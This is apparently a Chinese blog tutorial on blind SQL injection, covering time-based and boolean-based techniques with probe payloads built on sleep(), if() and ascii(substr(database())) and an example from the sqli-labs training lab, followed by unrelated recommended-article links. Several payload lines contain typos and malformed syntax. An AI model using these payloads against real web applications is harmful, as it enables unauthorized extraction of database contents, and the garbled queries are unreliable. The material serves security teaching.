SQL注入实战:盲注

盲注:

1、当攻击者利用SQL注入漏洞进行攻击时,有时候web应用程序会显示,后端数据库执行SQL查询返回的错误信息,这些信息能帮助进行SQL注入,但更多时候,数据库没有输出数据web页面,这是攻击者会查询一系列的true或false问题,或者基于时间判断的问题,强制从数据库获取数据。

2、Blind SQL(盲注)是注入攻击的其中一种,向数据库发送true或false这样的问题,并根据应用程序返回的信息判断结果,这种攻击的出现是因为应用程序配置为只显示常规错误,并不显示sql语句的错误,这种情况并没有解决SQL注入存在的代码问题。

3、盲注可以分为基于不二的盲注和基于事件的盲注

一:基于时间的盲注

1、延时注入,用的最多的注入

2、常用的判断语句:

' and if(1=0,1,sleep(10)) --+

" and if(1=0,1,sleep(10)) --+

) and if(1=0,1,sleep(10)) --+

') and if(1=0,1,sleep(10)) --+

") and if(1=0,1,sleep(10)) --+

利用if(条件,0,1)函数,当条件为真返回0,假则返回1

sqli-lab 9-10实验就是基于时间的盲注

?id=1' and if(ascli(substr(database(),1.1))=115,sleep(5),1)--+

二:基于布尔的盲注

基于布尔型的盲注,我们通常采用下面的方法猜解字符串,

select length(database());

select substr(database(),1,1);

select length ascii(substr(database(),1,1);

select length ascii(substr(database(),1,1)>N;

select length ascii(substr(database(),1,1)=N;

select length ascii(substr(databa

se(),1,1)<N;

输入:?id=1

输入:?id=1'

输入:?id=1' and length(database())=8 --+ (查看数据库的长度)

把=8改成=9,会发现没有了 (说明数据库长度为8)

相关推荐
东北小狐狸-Hellxz2 分钟前
Redis 哨兵搭建+ACL权限控制
数据库·redis
研究员子楚1 小时前
GEO行业发展标准体系白皮书V2.0-第09卷 · 适配篇:硅基主权伦理宪章与行业适配宣言
数据库·人工智能·geo
l134062082353 小时前
鸿蒙实战:RDB 数据库设计与 DatabaseService
数据库·华为·harmonyos·鸿蒙系统
山峰哥3 小时前
数据库工程与索引策略实战指南‌
服务器·数据库·sql·oracle·深度优先
谙忆3 小时前
图片版权保护工程实战:明水印、盲水印(DCT隐写)、Referer防盗链与签名URL怎么落地
数据库
KaMeidebaby3 小时前
卡梅德生物技术快报|抗体合成:多肽抗体合成工程化方案:Nsp2 保守肽多抗制备与多维度验证
前端·网络·数据库·人工智能·算法
xfhuangfu3 小时前
19c CDB架构下的数据库启动和停止
数据库·架构
神道君天下3 小时前
填充与积累:积分与面积的可视化
数据库·oracle
爱折腾的小黑牛4 小时前
小程序云开发数据模型设计:礼账系统的三表结构
数据库·架构
爱折腾的小黑牛4 小时前
礼账小程序的数据安全方案:加密与备份
数据库·安全